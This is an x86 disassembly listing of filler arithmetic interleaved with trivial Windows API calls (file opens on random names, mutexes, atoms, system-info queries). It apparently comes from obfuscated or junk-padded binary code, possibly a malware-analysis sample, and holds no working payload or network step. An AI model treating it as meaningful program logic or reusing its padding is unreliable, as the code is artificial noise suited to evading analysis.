movzx eax, byte [ebp - 0x199]
and edx, eax
mov ecx, dword [ebp - 0x3ca0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x43f8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4708]
mov dword [ebp - 0x2dfc], eax
push 0
push 0x400
push 5
push 0
push 4
push 0x80000000
push str.yPmdBAHL_vis_r6ZrgNRR
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100baf54], eax
lea ecx, [ebp - 0x1020]
mov dword [0x100baf58], ecx
mov edx, dword [ebp - 0x3aac]
mov eax, dword [ebp - 0x2ef4]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x42d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3c40]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1f8]
imul eax, ecx
mov byte [ebp - 0xee], al
lea edx, [ebp - 0x9f40]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [ebp - 0x698]
mov dword [0x100baf5c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba4e4], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100baf60], eax
lea ecx, [ebp - 0x9eb0]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 0x4028]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3f38]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x29f], al
movzx eax, word [ebp - 0x13e4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba548], ax
push 0x100baedc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x32a4]
mov dword [ebp - 0x47c4], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x47c8], eax
mov edx, dword [ebp - 0x4728]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2df]
or eax, ecx
mov byte [0x100b7133], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100baf64], eax
lea edx, [ebp - 0x9c28]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100baf68], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x47cc], eax
movzx eax, word [0x100ba330]
movzx ecx, word [ebp - 0x14f0]
sar eax, cl
mov ecx, dword [ebp - 0x4200]
mov word [ecx], ax
mov dx, word [ebp - 0x11a0]
mov word [ebp - 0x1618], dx
mov eax, dword [ebp - 0x3f14]
add eax, dword [ebp - 0x2cc0]
mov dword [0x100b73d0], eax
mov dword [ebp - 0x47d0], 0x100b72a0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9948], eax
movzx ecx, byte [0x100b71cf]
movzx edx, byte [ebp - 0x8f]
and ecx, edx
mov eax, dword [ebp - 0x3608]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3cc4]
mov edx, dword [ebp - 0x3050]
xor edx, dword [ecx]
mov eax, dword [0x100baec4]
mov dword [eax], edx
movsx edx, byte [0x100b7156]
movsx ecx, byte [ebp - 0x134]
shl edx, cl
mov byte [ebp - 0x38], dl
movzx eax, word [0x100b7348]
mov ecx, dword [ebp - 0x374c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3660]
mov word [ecx], ax
lea edx, [ebp - 0xb26c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3bcc]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx edx, word [0x100b9984]
mov eax, dword [ebp - 0x4590]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100b73d4], dx
push 0x100bad18
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x47d4], 0x100b71a2
mov ecx, dword [ebp - 0x2f84]
or ecx, dword [ebp - 0x2f28]
mov dword [0x100b9f20], ecx
mov edx, dword [ebp - 0x4784]
movsx eax, word [edx]
movsx ecx, word [0x100ba574]
and eax, ecx
mov edx, dword [ebp - 0x3b0c]
mov word [edx], ax
movzx eax, byte [ebp - 0xba]
movzx ecx, byte [ebp - 0x2ba]
sub eax, ecx
mov byte [ebp - 0x2d8], al
mov edx, dword [ebp - 0x44f4]
mov eax, dword [0x100b72fc]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [0x100badbc]
mov dword [ecx], eax
mov dx, word [ebp - 0x15f4]
mov word [ebp - 0x161c], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100baf6c], eax
lea eax, [ebp - 0x2f10]
mov dword [ebp - 0x47d8], eax
movzx ecx, word [ebp - 0x1468]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1620], ax
mov dword [ebp - 0x47dc], 0x5851
mov dword [0x100baf70], 0x100b73cc
push 0
push 0x20
push 4
push 0
push 1
push 0x80000000
push str.QZ0TKJ2PosL55LwHsRCa
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100baf74], eax
mov edx, dword [ebp - 0x3bc4]
mov eax, dword [ebp - 0x3d24]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3bc4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x41a8]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x8d]
sar edx, cl
mov eax, dword [ebp - 0x3f64]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3b88]
mov dl, byte [ecx]
mov byte [0x100b82e7], dl
movsx eax, byte [ebp - 0x2b4]
movsx ecx, byte [0x100b7e6a]
and eax, ecx
mov byte [ebp - 0xf0], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b953c], eax
mov edx, dword [ebp - 0x4438]
or edx, dword [ebp - 0x2e9c]
mov dword [ebp - 0x4404], edx
movzx eax, byte [ebp - 8]
mov ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [0x100b9bc4]
mov byte [ecx], al
mov dword [ebp - 0x47e0], 0x100b9f50
mov edx, dword [0x100ba164]
mov ax, word [edx]
mov word [ebp - 0x1624], ax
mov ecx, dword [0x100ba708]
mov edx, dword [ebp - 0x34c0]
add edx, dword [ecx]
mov dword [0x100bad50], edx
movsx eax, byte [ebp - 0x116]
movsx ecx, byte [ebp - 0x15]
shl eax, cl
mov byte [ebp - 0x77], al
mov ecx, dword [0x100bac30]
mov edx, dword [ebp - 0x3a1c]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x322c], eax
mov ecx, dword [ebp - 0x39f0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x47e4], eax
mov dword [0x100baf78], 0x100b71ce
mov edx, dword [ebp - 0x3898]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3b3c]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x1330], ax
lea edx, [ebp - 0x540]
mov dword [ebp - 0x47e8], edx
movsx eax, byte [0x100b722b]
mov ecx, dword [ebp - 0x3984]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [0x100ba714]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100baf7c], eax
movzx edx, word [0x100ba27c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1628], ax
movzx eax, word [ebp - 0x128c]
movzx ecx, word [0x100b7228]
add eax, ecx
mov edx, dword [ebp - 0x3ed0]
mov word [edx], ax
mov eax, dword [ebp - 0x306c]
or eax, dword [ebp - 0x2f9c]
mov dword [ebp - 0x3064], eax
mov dword [0x100baf80], 0x100b9644
mov dword [ebp - 0x47ec], 0x100b7296
lea ecx, [ebp - 0x768]
mov dword [ebp - 0x47f0], ecx
lea edx, [ebp - 0xaf54]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [0x100baf84], 0x100b7262
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100baf88], eax
movzx eax, word [0x100b9970]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x120c], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba584], eax
movzx ecx, word [ebp - 0x13c0]
movzx edx, word [ebp - 0x1178]
and ecx, edx
mov eax, dword [ebp - 0x3d3c]
mov word [eax], cx
mov dword [ebp - 0x47f4], 0x100b71e4
lea ecx, [ebp - 0xb290]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x3fd0]
imul edx, dword [0x100ba468]
mov dword [0x100b7280], edx
movzx eax, byte [0x100b80e7]
mov ecx, dword [ebp - 0x4144]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x3b48]
mov byte [ecx], al
movsx edx, byte [0x100b717b]
mov eax, dword [ebp - 0x3b80]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x275], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100baf8c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x47f8], eax
mov ecx, dword [0x100ba84c]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x5c4]
sar edx, cl
mov word [0x100b72e4], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9e24], eax
mov eax, dword [ebp - 0x4660]
mov cx, word [eax]
mov word [ebp - 0x162c], cx
mov edx, dword [0x100ba7d0]
mov eax, dword [ebp - 0x2c3c]
xor eax, dword [edx]
mov dword [ebp - 0x3838], eax
lea ecx, [ebp - 0x2a2]
mov dword [0x100baf90], ecx
lea edx, [ebp - 2]
mov dword [ebp - 0x47fc], edx
mov eax, dword [0x100b72ac]
add eax, dword [ebp - 0x3fd0]
mov ecx, dword [ebp - 0x4498]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3ccc]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100baf94], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4800], eax
mov eax, dword [ebp - 0x3e48]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x8a0]
and ecx, edx
mov word [0x100b73d8], cx
mov ax, word [0x100baec0]
mov word [ebp - 0x1630], ax
push 0xe3f
mov ecx, dword [0x100bac78]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x36fc], eax
lea edx, [ebp - 0x4438]
mov dword [ebp - 0x4804], edx
mov eax, dword [ebp - 0x3e98]
movsx ecx, byte [eax]
mov edx, dword [0x100bac74]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [0x100ba024]
mov byte [edx], cl
push str.p25m
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1634], ax
movzx eax, byte [ebp - 0x3d]
movzx ecx, byte [ebp - 2]
xor eax, ecx
mov byte [ebp - 0x291], al
lea edx, [ebp - 0x594]
mov dword [ebp - 0x4808], edx
movzx eax, word [ebp - 0x1210]
mov ecx, dword [0x100ba018]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [0x100bac04]
mov word [edx], ax
mov eax, dword [ebp - 0x402c]
mov ecx, dword [ebp - 0x3b1c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x2cc0], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100baf98], eax
movsx eax, word [ebp - 0x5dc]
movsx ecx, word [ebp - 0x1504]
add eax, ecx
mov edx, dword [ebp - 0x3c78]
mov word [edx], ax
mov dword [0x100baf9c], 0x100b983c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3fac], eax
lea eax, [ebp - 0x2dd]
mov dword [ebp - 0x480c], eax
mov ecx, dword [ebp - 0x4260]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2b1]
and edx, eax
mov ecx, dword [0x100b9988]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4590]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf0c]
xor eax, ecx
mov edx, dword [ebp - 0x4758]
mov word [edx], ax
lea eax, [ebp - 0x2ae0]
mov dword [ebp - 0x4810], eax
mov ecx, dword [0x100b71f0]
mov dword [0x100bafa0], ecx
movsx edx, word [ebp - 0x1298]
movsx eax, word [ebp - 0xb9c]
xor edx, eax
mov word [ebp - 0xf2c], dx
mov ecx, dword [ebp - 0x45f4]
movsx edx, byte [ecx]
mov eax, dword [0x100ba64c]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3dd4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3904]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x42e8]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [0x100b7efb], dl
mov edx, dword [ebp - 0x4698]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x34d0]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x37e4]
mov byte [ecx], al
mov edx, dword [0x100ba838]
mov eax, dword [edx]
mov dword [ebp - 0x4814], eax
mov ecx, dword [ebp - 0x3c44]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x41bc]
movzx ecx, word [eax]
shl edx, cl
mov word [0x100b73dc], dx
movsx edx, word [ebp - 0x123c]
movsx ecx, word [ebp - 0x146c]
sar edx, cl
mov word [ebp - 0xcb4], dx
mov eax, dword [0x100b9628]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [ebp - 0x364c]
mov edx, dword [0x100bad70]
and edx, dword [ecx]
mov dword [ebp - 0x3a2c], edx
lea eax, [ebp - 0x260]
mov dword [0x100bafa4], eax
push str.2GuxEL7
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bafa8], ax
mov ecx, dword [ebp - 0x3624]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x21e]
xor edx, eax
mov byte [ebp - 0x78], dl
mov ecx, dword [ebp - 0x2de0]
add ecx, dword [ebp - 0x2e2c]
mov edx, dword [ebp - 0x4810]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4818], eax
movzx eax, word [ebp - 0x152c]
movzx ecx, word [ebp - 0x12c4]
and eax, ecx
mov word [0x100bae30], ax
mov edx, dword [ebp - 0x3bf4]
mov ax, word [edx]
mov word [ebp - 0x1638], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba544], eax
mov ecx, dword [ebp - 0x36c0]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x39a8]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xfb0], dx
movzx edx, byte [0x100b814e]
mov eax, dword [ebp - 0x4790]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100bae28]
mov byte [ecx], dl
mov edx, dword [ebp - 0x43c4]
mov eax, dword [edx]
or eax, dword [ebp - 0x3804]
mov ecx, dword [ebp - 0x3680]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x45f8], eax
lea edx, [ebp - 0x3e70]
mov dword [ebp - 0x481c], edx
lea eax, [ebp - 0x2a5]
mov dword [0x100bafac], eax
mov ecx, dword [0x100ba33c]
mov dx, word [ecx]
mov word [ebp - 0x163c], dx
push 0x100a7c00
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bafb0], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x36cc], eax
mov eax, dword [0x100ba4d8]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3e88]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x4150]
mov word [edx], cx
lea eax, [ebp - 0x2c9]
mov dword [0x100bafb4], eax
mov ecx, dword [ebp - 0x39e0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2bd]
add edx, eax
mov byte [ebp - 0x197], dl
mov ecx, dword [ebp - 0x4220]
mov edx, dword [ecx]
and edx, dword [0x100bafa0]
mov dword [ebp - 0x3268], edx
imul eax, dword [ebp - 0x40a8], 0x4e33
mov dword [0x100ba704], eax
push 0x100a7c04
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1640], ax
mov ecx, dword [ebp - 0x44ac]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x41f4]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3a5c]
mov byte [ecx], dl
lea edx, [ebp - 0x1618]
mov dword [ebp - 0x4820], edx
movsx eax, word [ebp - 0xb8c]
mov ecx, dword [0x100ba1c4]
movsx edx, word [ecx]
xor eax, edx
mov word [0x100ba8b4], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bafb8], eax
mov eax, dword [0x100bae28]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xac]
sub ecx, edx
mov byte [ebp - 0x284], cl
mov eax, dword [0x100ba974]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3458]
shl edx, cl
mov dword [ebp - 0x3214], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9e68], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4824], eax
lea eax, [ebp - 0x80c]
mov dword [0x100bafbc], eax
mov ecx, dword [ebp - 0x33b0]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 0x2cc0]
or edx, dword [ebp - 0x2ce8]
mov eax, dword [ebp - 0x3a4c]
mov dword [eax], edx
lea ecx, [ebp - 0x2a5]
mov dword [ebp - 0x4828], ecx
movsx edx, word [ebp - 0x578]
movsx eax, word [ebp - 0x788]
add edx, eax
mov word [0x100b7214], dx
lea ecx, [ebp - 0x27c]
mov dword [ebp - 0x482c], ecx
mov edx, dword [ebp - 0x3ec8]
mov eax, dword [ebp - 0x2d04]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4350]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3538]
mov al, byte [edx]
mov byte [0x100b82fa], al
mov cx, word [ebp - 0xab4]
mov word [ebp - 0x1644], cx
movzx edx, word [ebp - 0x1254]
mov eax, dword [ebp - 0x4758]
movzx ecx, word [eax]
imul edx, ecx
mov word [ebp - 0xea0], dx
mov edx, dword [ebp - 0x3f50]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2af0]
mov ecx, dword [0x100ba3b8]
mov dword [ecx], eax
push 0x100bafc0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx edx, word [ebp - 0x7d8]
mov eax, dword [ebp - 0x373c]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xe34], dx
mov ecx, dword [0x100bab08]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3df0], eax
movzx edx, byte [0x100b726a]
mov eax, dword [ebp - 0x3cfc]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3ee0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x38b0]
mov eax, dword [edx]
mov dword [0x100bafe4], eax
movsx ecx, byte [ebp - 0x280]
movsx edx, byte [ebp - 0x2e3]
add ecx, edx
mov byte [ebp - 0x2c5], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4830], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bafe8], eax
lea eax, [ebp - 0x5a4]
mov dword [ebp - 0x4834], eax
push 0
push 0x200
push 3
push 0
push 2
push 0x80000000
push str.zjMtPTxzoFzIrVjG2FxXYkitBQwkNoqj
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4838], eax
movzx ecx, word [ebp - 0xefc]
movzx edx, word [ebp - 0x1294]
and ecx, edx
mov word [0x100b73d4], cx
mov eax, dword [ebp - 0x3984]
mov cl, byte [eax]
mov byte [ebp - 0x2eb], cl
lea edx, [ebp - 0x3c38]
mov dword [0x100bafec], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b99b0], eax
movsx eax, word [ebp - 0xe20]
movsx ecx, word [0x100b72a8]
or eax, ecx
mov word [ebp - 0x1504], ax
movzx edx, word [ebp - 0x14ac]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9b4c], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x440c], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100baff0], eax
mov al, byte [ebp - 0x2b1]
mov byte [ebp - 0x2ec], al
mov ecx, dword [ebp - 0x3cbc]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3130]
sar edx, cl
mov dword [0x100b7210], edx
movzx eax, word [ebp - 0x162c]
mov ecx, dword [ebp - 0x3660]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x4444]
mov word [ecx], ax
mov edx, dword [0x100bac30]
mov eax, dword [ebp - 0x2b8c]
and eax, dword [edx]
mov dword [ebp - 0x2db0], eax
mov dword [0x100baff4], 0x100bad48
lea ecx, [ebp - 0x2bc0]
mov dword [ebp - 0x483c], ecx
movzx edx, byte [ebp - 0x288]
mov eax, dword [0x100ba394]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x8f], dl
movsx edx, byte [ebp - 0x2da]
movsx ecx, byte [ebp - 0x107]
shl edx, cl
mov byte [0x100b82bf], dl
mov eax, dword [0x100b9654]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x4080]
movsx eax, byte [edx]
imul ecx, eax
mov byte [ebp - 0x179], cl
mov ecx, dword [ebp - 0x3910]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x30e8]
mov dword [ebp - 0x31c8], edx
lea eax, [ebp - 0x28d]
mov dword [0x100baff8], eax
movsx ecx, word [ebp - 0x146c]
movsx edx, word [ebp - 0x6ac]
or ecx, edx
mov eax, dword [ebp - 0x3c78]
mov word [eax], cx
mov ecx, dword [ebp - 0x3a18]
mov dx, word [ecx]
mov word [ebp - 0x1648], dx
lea eax, [ebp - 0x9f58]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x364c]
mov edx, dword [0x100b98d8]
mov ecx, dword [ecx]
shr edx, cl
mov dword [0x100b73e0], edx
mov eax, dword [ebp - 0x46cc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1fc]
add ecx, edx
mov byte [ebp - 0x2c4], cl
mov eax, dword [ebp - 0x481c]
mov ecx, dword [eax]
mov dword [ebp - 0x4840], ecx
movzx edx, byte [0x100b726a]
mov eax, dword [ebp - 0x4528]
movzx ecx, byte [eax]
and edx, ecx
mov byte [0x100b8082], dl
mov edx, dword [0x100b9db8]
movzx eax, word [edx]
movzx ecx, word [0x100b71d4]
xor eax, ecx
mov edx, dword [ebp - 0x3888]
mov word [edx], ax
push 0x100baffc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [ebp - 0x1530]
mov ecx, dword [0x100b9734]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x928], ax
mov edx, dword [ebp - 0x3c54]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x88]
xor eax, ecx
mov edx, dword [0x100bae3c]
mov byte [edx], al
mov eax, dword [ebp - 0x35e4]
movzx eax, word [eax]
cdq
mov ecx, 0x10f
idiv ecx
mov word [ebp - 0x128c], ax
mov edx, dword [ebp - 0x389c]
mov eax, dword [edx]
mov dword [ebp - 0x4844], eax
mov ecx, dword [ebp - 0x2de0]
mov dword [0x100bb020], ecx
push str.RmkP_UYDnsb_HAPbK0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x164c], ax
mov edx, dword [ebp - 0x4564]
movzx eax, byte [edx]
mov ecx, dword [0x100ba4b0]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3c84]
mov byte [ecx], al
movsx edx, word [ebp - 0x1214]
mov eax, dword [0x100b9990]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xed8], dx
movsx ecx, byte [ebp - 0x2ae]
movsx edx, byte [ebp - 0x2c1]
or ecx, edx
mov eax, dword [0x100ba7b8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3ee4]
movzx edx, word [ecx]
mov eax, dword [0x100b9c30]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xc6c], dx
mov edx, dword [ebp - 0x3760]
mov eax, dword [ebp - 0x3b4c]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x44f4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2f84]
sub edx, dword [ebp - 0x2df8]
mov dword [0x100b73e4], edx
mov dword [ebp - 0x4848], 0x100b7227
mov eax, dword [ebp - 0x44e0]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x3ec0]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x26e], dl
mov ecx, dword [0x100ba61c]
mov dx, word [ecx]
mov word [0x100bb024], dx
mov eax, dword [ebp - 0x423c]
mov cx, word [eax]
mov word [ebp - 0x1650], cx
push 0
push 0x198c
push 0x1685
push 0x7e42
push 1
mov edx, dword [0x100ba22c]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100bb028], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x42c4], eax
push 0
lea eax, [ebp - 0x9874]
push eax
mov ecx, dword [0x100bb034]
push ecx
mov edx, dword [0x100bb030]
push edx
mov eax, dword [0x100ba7e0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x484c], eax
mov ecx, dword [ebp - 0x4810]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3f60]
mov dword [ebp - 0x3060], edx
mov eax, dword [ebp - 0x3d04]
movsx edx, byte [eax]
mov eax, dword [0x100b9724]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b7f26], dl
mov ecx, dword [ebp - 0x4028]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2dc]
and edx, eax
mov ecx, dword [ebp - 0x3c1c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4184]
mov eax, dword [0x100ba56c]
or eax, dword [edx]
mov dword [ebp - 0x3e80], eax
mov ecx, dword [ebp - 0x39f8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1648]
xor edx, eax
mov ecx, dword [0x100ba0e0]
mov word [ecx], dx
push 0x100b98c0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 0x4850], 0x100b7254
mov edx, dword [ebp - 0x3f34]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x3cbc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3984]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x35f0]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b729b], al
lea edx, [ebp - 0x1e8]
mov dword [ebp - 0x4854], edx
mov eax, dword [ebp - 0x3da8]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 0x40d0]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4524]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x3fb0]
mov word [eax], dx
mov dword [0x100bb02c], 0x100b73ac
movzx ecx, word [ebp - 0x14cc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb038], ax
lea edx, [ebp - 0x44b4]
mov dword [ebp - 0x4858], edx
mov eax, dword [ebp - 0x3914]
mov cx, word [eax]
mov word [ebp - 0x1654], cx
mov edx, dword [0x100ba878]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x485c], eax
mov eax, dword [ebp - 0x3274]
mov ecx, dword [0x100b73c4]
sar eax, cl
mov dword [0x100b9530], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bac5c], eax
movsx ecx, byte [ebp - 0x2e4]
movsx edx, byte [ebp - 0x2a5]
add ecx, edx
mov eax, dword [ebp - 0x38dc]
mov byte [eax], cl
mov cl, byte [ebp - 0x4c]
mov byte [0x100b82fb], cl
lea edx, [ebp - 0xb14c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0xc28]
mov dword [ebp - 0x4860], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4864], eax
mov ecx, dword [ebp - 0x39fc]
mov edx, dword [ebp - 0x3068]
or edx, dword [ecx]
mov dword [ebp - 0x3958], edx
mov eax, dword [ebp - 0x3b24]
mov ecx, dword [0x100ba1a0]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [0x100ba28c], edx
mov eax, dword [ebp - 0x3cb0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x411c]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x3ecc]
mov word [edx], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
